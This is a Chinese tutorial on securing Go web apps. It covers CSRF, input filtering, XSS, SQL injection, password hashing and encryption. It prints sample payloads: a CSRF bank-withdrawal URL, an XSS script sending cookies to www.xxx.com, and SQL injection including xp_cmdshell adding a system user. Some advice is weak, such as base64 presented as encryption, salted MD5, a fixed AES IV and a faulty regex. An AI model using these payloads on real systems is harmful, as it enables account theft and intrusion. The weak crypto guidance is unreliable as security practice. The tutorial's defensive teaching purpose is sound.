前言
作为 Web 应用的开发者,需要知道应用程序随时会成为众多攻击者的目标,在开发应用时需要做好防范的准备。
预防 CSRF 攻击
什么是 CSRF
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为: one click attack / session riding,通常缩写为:CSRF / XSRF。CSRF 通过伪装成受信任用户的请求来利用受信任的网站。
CSRF 攻击实例
CSRF 攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在并未授权的情况下执行在权限保护之下的操作。
比如说,受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2
可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory
。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src="http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory"
,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
CSRF 的原理

以上是 CSRF 的攻击过程,由此可知要完成一次 CSRF 攻击,受害者必须依次完成两个步骤 :
- 登录受信任网站 A,并在本地生成 Cookie 。
- 在不退出 A 的情况下,访问危险网站 B。
如何预防 CSRF
CSRF 的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的 CSRF 防御也都在服务端进行。
服务端的预防 CSRF 攻击的方式方法主要从以下 2 个方面入手:
-
正确使用 GET,POST 和 Cookie;
GET 常用在查看,列举,展示等不需要改变资源属性的时候;POST 常用在下达订单,改变一个资源的属性或者做其他一些事情;
示例:
服务端:
/goweb/src/safety/methodType.gopackage main import ( "fmt" "net/http" "net/url" "github.com/drone/routes" ) // 获取用户信息 func getuser(w http.ResponseWriter, r *http.Request) { var params url.Values = r.URL.Query() var uid string = params.Get(":uid") fmt.Fprintf(w, uid) } // 修改用户信息 func edituser(w http.ResponseWriter, r *http.Request) { r.ParseForm() var name string = r.Form["name"][0] var params url.Values = r.URL.Query() var uid string = params.Get(":uid") fmt.Fprintf(w, "{\"name\":" + "\"" + name + "\"" + "," + "\"uid\":"+ uid +"}") } func main() { fmt.Println("正在启动 WEB 服务...") var mux *routes.RouteMux = routes.New() mux.Get("/service/user/:uid", getuser) mux.Post("/service/user/:uid", edituser) //http.Handle("/", mux) http.ListenAndServe(":8900", mux) fmt.Println("服务已停止") }
客户端:
user.html<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>用户信息</title> <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script> </head> <body onload="onload()"> <p>获取用户ID:<span id="gUid"></span></p> <p> 用户名: <input type="text" id="iName"> <input type="button" value="提交" onclick="postUser()"> </p> <p>修改ID是 <span id="pUid">--</span> 的用户名为 <span id="pName">--</span></p> <script type="text/javascript"> function getUser() { $.get("/service/user/123", function(result){ $("#gUid").text(result); }) } function postUser() { let n = $("#iName").val() $.post("/service/user/123", {"name": n}, function(result){ var obj = JSON.parse(result) $("#pName").text(obj.name) $("#pUid").text(obj.uid) }) } function onload() { getUser() } </script> </body> </html>
启动 Go 服务器 和 启动 Nginx 服务器,然后通过网址访问 Nginx 服务器下的静态用户信息页面(例如:
http://localhost:8080/user.html
),尝试修改用户名操作。限定了修改只能使用 POST,当 GET 方式请求时就拒绝响应,所以上面图示中 GET 方式的 CSRF 攻击就可以防止。
-
在非 GET 请求中增加伪随机数;
在非 GET 方式的请求中增加随机数,这个大概有三种方式来进行:
- 为每个用户生成一个唯一的 cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的 Cookie 很容易由于网站的 XSS 漏洞而被盗取,所以这个方案必须要在没有 XSS 的情况下才安全。
- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。
- 不同的表单包含一个不同的伪随机值,“防止多次重复提交表单” 时使用过此方案。
-
验证 HTTP Referer 字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限的页面的请求都来自于同一个网站。比如某银行的转账是通过用户访问
http://www.xxx.com/transfer.do
页面完成的,用户必须先登录www.xxx.com
,然后通过单击页面上的提交按钮来触发转账事件。当用户提交请求时,该转账请求的 Referer 值就会是 提交按钮所在页面的 URL(本例为www.xxx. com/transfer.do
)。如果攻击者要对银行网站实施 CSRF 攻击,他只能在其他网站构造请求,当用户通过其他网站发送请求到银行时,该请求的 Referer 的值是其他网站的地址,而不是银行转账页面的地址。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值即可,如果是以www.xx.om
域名开头的地址,则说明该请求是来自银行网站自己的请求,是合法的;如果 Referer 是其他网站,就有可能是 CSRF 攻击,则拒绝该请求。Go web 取得 HTTP 请求 Referer 的方法:
// 获取用户信息 func getuser(w http.ResponseWriter, r *http.Request) { fmt.Println(r.Header["Referer"]) }
确保输入过滤
过滤用户数据是 Web 应用安全的基础,它是验证数据合法性的过程,通过对所有的输入数据进行过滤,可以避免恶意数据在程序中被误信或误用。大多数 Web 应用的漏洞都是因为没有对用户输入的数据进行恰当过滤所引起的。
过滤数据分成三个步骤:
识别数据
识别所有来源自非代码内部提供的数据,包括:来自客户端的数据、数据库和第三方提供的接口数据等。
由用户输入的数据我们通过 Go 非常容易识别,Go 通过 r.ParseForm 之后,把用户 POST 和 GET 的数据全部放在了 r.Form 里面。其它的输入要难识别得多,例如,r.Header 中的很多元素是由客户端所操纵的。常常很难确认其中的哪些元素组成了输入,所以,最好的方法是把里面所有的数据都看成是用户输入。(例如 r.Header.Get("Accept-Charset")这样的也看做是用户输入,虽然这些大多数是浏览器操纵的)
过滤数据
过滤数据能有效防止非法数据进入应用,过滤数据主要采用如下一些库来操作:
- strconv 包下面的字符串转化相关函数,因为从 Request 中的 r.Form 返回的是字符串,而有些时候需要将之转化成整/浮点数,Atoi、ParseBool、ParseFloat、ParseInt 等函数就可以派上用场了。
- string 包下面的一些过滤函数 Trim、ToLower、ToTitle 等函数,能够按照指定的格式获取信息。
- regexp 包用来处理一些复杂的需求,例如判定输入是否是 Email、生日之类。
过滤数据除了检查验证之外,在特殊时候,还可以采用白名单。即假定你正在检查的数据都是非法的,除非能证明它是合法的。使用这个方法,如果出现错误,只会导致把合法的数据当成是非法的,而不会是相反,尽管我们不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。
区分过滤数据
编写 Web 应用的时候需要区分已过滤和被污染数据,因为这样可以保证过滤数据的完整性,而不影响输入的数据。把所有经过过滤的数据放入一个叫全局的 Map 变量中 (CleanMap)。这时需要用两个重要的步骤来防止被污染数据的注入:
- 每个请求都要初始化 CleanMap 为一个空 Map。
- 加入检查及阻止来自外部数据源的变量命名为 CleanMap。
示例:
<form action="/whoami" method="POST">
我是谁:
<select name="name">
<option value="astaxie">astaxie</option>
<option value="herry">herry</option>
<option value="marry">marry</option>
</select>
<input type="submit" />
</form>
在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。其实攻击者可以模拟 POST 操作,递交 name=attack 这样的数据,所以在此时我们需要做类似白名单的处理:
r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
CleanMap["name"] = name
}
上面代码中初始化了一个 CleanMap 的变量,当判断获取的 name 是 astaxie、herry、marry 三个中的一个之后 , 就把数据存储到了 CleanMap 之中,这样就可以确保 CleanMap["name"] 中的数据是合法的,从而在代码的其它部分使用它。当然还可以在 else 部分增加非法数据的处理,一种可能是再次显示表单并提示错误。但是不要试图为了友好而输出被污染的数据。
上面的方法对于过滤一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只能由字母及数字组成:
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
CleanMap["username"] = username
}
避免 XSS 攻击
动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting,安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。
什么是 XSS
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意的 Script 代码,当用户浏览该页之时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS 是一种常见的 web 安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS 涉及到三方,即攻击者、客户端与 Web 应用。XSS 的攻击目标是为了盗取存储在客户端的 cookie 或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。
XSS 通常可以分为两大类:
一类是存储型 XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的 Html 输入 Web 程序 -> 进入数据库 -> Web 程序 -> 用户浏览器。
另一类是反射型 XSS,主要做法是将脚本代码加入 URL 地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。
XSS 目前主要的手段和目的如下:
- 盗用 cookie,获取敏感信息。
- 利用植入 Flash,通过 crossdomain 权限设置进一步获取更高权限。
- 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次 XSS。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上的 XSS 可以攻击一些小型网站,实现 DDoS 攻击的效果
XSS 的示例
Web 应用对用户提交请求的数据未做充分的检查过滤,允许用户在提交的数据中掺入 HTML 代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致 XSS 漏洞的产生原因。
反射型 XSS 的示例:
假如在有一个网站,根据参数输出用户的名称,例如访问 url:
http://127.0.0.1/?name=paly
,就会在浏览器输出如下信息:
hello paly
如果传递这样的 url:http://127.0.0.1/?name=<script>alert('paly,xss')</script>
,这时浏览器会跳出一个弹出框,说明站点已经存在了 XSS 漏洞。
恶意用户是如何盗取 Cookie 的呢?与上类似,如下这样的url:http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>
,这样就可以把当前的 cookie 发送到指定的站点:www.xxx.com
。你也许会说,这样的 URL 一看就有问题,怎么会有人点击?是的,这类的 URL 会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的 url 通过某些途径传播开来,不明真相的用户一旦点击了这样的 url,相应 cookie 数据就会被发送事先设定好的站点,这样子就盗得了用户的 cookie 信息,然后就可以利用 Websleuth 之类的工具来检查是否能盗取那个用户的账户。
如何预防 XSS
坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的 XSS 攻击。
目前防御XSS主要有如下几种方式:
-
过滤特殊字符
避免 XSS 的方法之一主要是将用户所提供的内容进行过滤,Go 语言提供了 HTML 的过滤函数:text/template 包下面的 HTMLEscapeString、JSEscapeString 等函数 -
使用 HTTP 头指定类型
w.Header().Set("Content-Type","text/javascript")
, 这样就可以让浏览器解析 javascript 代码,而不会是 html 输出。
避免 SQL 注入
SQL 注入攻击是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
什么是 SQL 注入
所谓 SQL 注入,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。具体来说,它是利用现有应用程序,将(恶意的)SQL 命令注入到后台数据库引擎执行的能力,它可以通过在 Web 表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行 SQL 语句。
SQL 注入示例
登录表单:
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登录" /></p>
</form>
Go 服务处理里面的 SQL 的代码可能是这样的:
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
如果用户的输入的用户名如下,密码任意:
myuser' or 'foo' = 'foo' --
那么 SQL 变成了如下所示:
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
在 SQL 里面 --
是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。
对于 MSSQL 还有更加危险的一种 SQL 注入,就是控制系统。
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'"
Db.Exec(sql)
如果攻击提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' --
作为变量 prod 的值,那么 sql 将会变成:
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
MSSQL 服务器会执行这条 SQL 语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以 sa 运行而 MSSQLSERVER 服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。
如何预防 SQL 注入
-
严格限制 Web 应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。
-
检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用 regexp 包进行一些匹配处理,或者使用 strconv 包对字符串转化成其他基本类型的数据进行判断。
-
对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的 text/template 包里面的 HTMLEscapeString 函数可以对字符串进行转义处理。
-
所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中,即不要直接拼接 SQL 语句。例如使用 database/sql 里面的查询函数 Prepare 和 Query,或者 Exec(query string, args ...interface{})。
-
在应用发布之前建议使用专业的 SQL 注入检测工具进行检测,以及时修补被发现的 SQL 注入漏洞。网上有很多这方面的开源工具,例如 sqlmap、SQLninja 等。
-
避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。
存储密码
为了避免用户密码数据泄露,Web 应用开发者需要选择合适的密码存储方案。
普通方案
目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要 (digest) 恢复原始数据,这也是“单向”二字的来源。常用的单向哈希算法包括 SHA-256,SHA-1,MD5 等。
Go 语言对这三种加密算法的实现如下所示:
package main
import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"fmt"
"io"
)
func main() {
// import "crypto/sha256"
h1 := sha256.New()
io.WriteString(h1, "需要加密的密码")
pwsha256 :=fmt.Sprintf("%x", h1.Sum(nil))
fmt.Println("sha256加密:", pwsha256)
// import "crypto/sha1"
h2 := sha1.New()
io.WriteString(h2, "需要加密的密码")
pwsha1 :=fmt.Sprintf("%x", h2.Sum(nil))
fmt.Println("sha1加密:", pwsha1)
// import "crypto/md5"
h3 := md5.New()
io.WriteString(h3, "需要加密的密码")
pwmd5 :=fmt.Sprintf("%x", h3.Sum(nil))
fmt.Println("md5加密:", pwmd5)
}
执行以上代码,控制台输出:
sha256加密: 162fa398f30c30470e7b4cd3d34f40110b82a2f4e7085dccd470212e752e68fe
sha1加密: 3bda3f2f1886e8b49a028c9443724d76c278efd7
md5加密: 7411945bd67297bd879d7a70b65f888a
单向哈希有两个特性:
1)同一个密码进行单向哈希,得到的总是唯一确定的摘要。
2)计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。
结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为rainbow table。
因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。
进阶方案
现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是,先将用户输入的密码进行一次 MD5(或其它哈希算法)加密;将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次 MD5 加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。
package main
import (
"crypto/md5"
"fmt"
"io"
)
func main() {
//import "crypto/md5"
//假设用户名abc,密码123456
h := md5.New()
io.WriteString(h, "需要加密的密码")
//pwmd5等于e10adc3949ba59abbe56e057f20f883e
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))
//指定两个 salt: salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"
//salt1+用户名+salt2+MD5拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last :=fmt.Sprintf("%x", h.Sum(nil))
fmt.Println("加盐加密:", last)
}
执行以上代码,控制台输出:
加盐加密: d3940d1d75c033ca79c23d7b291b175a
在两个 salt 没有泄露的情况下,黑客如果拿到的是最后这个加密串,就几乎不可能推算出原始的密码是什么了。
专家方案
上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的 rainbow table。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。
只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的 rainbow table。
这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立rainbow table越困难,以至于不可继续。
采用 scrypt 方案,scrypt 是由著名的 FreeBSD 黑客 Colin Percival 为他的备份服务 Tarsnap 开发的。
目前 Go 语言里面支持的库 http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。
加密和解密数据
Web 应用有时候需要把一些敏感数据加密后存储起来,在将来随需将它们解密出来,此时应该选用对称加密算法来满足需求。
base64 加解密
如果 Web 应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是 base64,这种方式实现起来比较简单,Go 语言的 base64 包已经很好的支持了这个。
例子:
package main
import (
"encoding/base64"
"fmt"
)
func base64Encode(src []byte) []byte {
return []byte(base64.StdEncoding.EncodeToString(src))
}
func base64Decode(src []byte) ([]byte, error) {
return base64.StdEncoding.DecodeString(string(src))
}
func main() {
// encode
hello := "你好,世界! hello world"
debyte := base64Encode([]byte(hello))
base64 :=fmt.Sprintf("%x", debyte)
fmt.Println("加解后:", base64)
// decode
enbyte, err := base64Decode(debyte)
if err != nil {
fmt.Println(err.Error())
}
if hello != string(enbyte) {
fmt.Println("hello is not equal to enbyte")
}
fmt.Println("解密后:", string(enbyte))
}
执行以上代码,控制台输出:
加解后: 354c3267356157393737794d354c69573535574d373779424947686c6247787649486476636d786b
解密后: 你好,世界! hello world
高级加解密
Go 语言的 crypto 里面支持对称加密的高级加解密包有:
- crypto/aes 包:AES(Advanced Encryption Standard),又称 Rijndael 加密法,是美国联邦政府采用的一种区块加密标准。
- crypto/des包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被 AES 所替代。
Go 使用 aes 包加密解密示例:
package main
import (
"crypto/aes"
"crypto/cipher"
"fmt"
"os"
)
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
func main() {
//需要去加密的字符串
plaintext := []byte("My name is Play")
//如果传入加密串的话,plaint就是传入的字符串
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}
//aes的加密字符串
key_text := "play12798akljzmknm.ahkjkljl;kpla"
if len(os.Args) > 2 {
key_text = os.Args[2]
}
fmt.Println(len(key_text))
// 创建加密算法aes
c, err := aes.NewCipher([]byte(key_text))
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
}
//加密字符串
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Println("加密:")
fmt.Printf("%s => %x\n", plaintext, ciphertext)
// 解密字符串
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Println("解密:")
fmt.Printf("% x=> %s\n", ciphertext, plaintextCopy)
}
执行以上代码,控制台输出:
32
加密:
My name is Play => a8a7e68972d08c234a9daf3555d692
解密:
a8 a7 e6 89 72 d0 8c 23 4a 9d af 35 55 d6 92=> My name is Play
上面通过调用函数 aes.NewCipher (参数 key 必须是 16、24 或者 32 位的 []byte,分别对应 AES-128,AES-192 或 AES-256 算法),返回了一个 cipher.Block 接口,这个接口实现了三个功能:
type Block interface {
// BlockSize returns the cipher's block size.
BlockSize() int
// Encrypt encrypts the first block in src into dst.
// Dst and src may point at the same memory.
Encrypt(dst, src []byte)
// Decrypt decrypts the first block in src into dst.
// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}
结束语
道路千万条,安全第一条,撸码不规范,公司两行泪。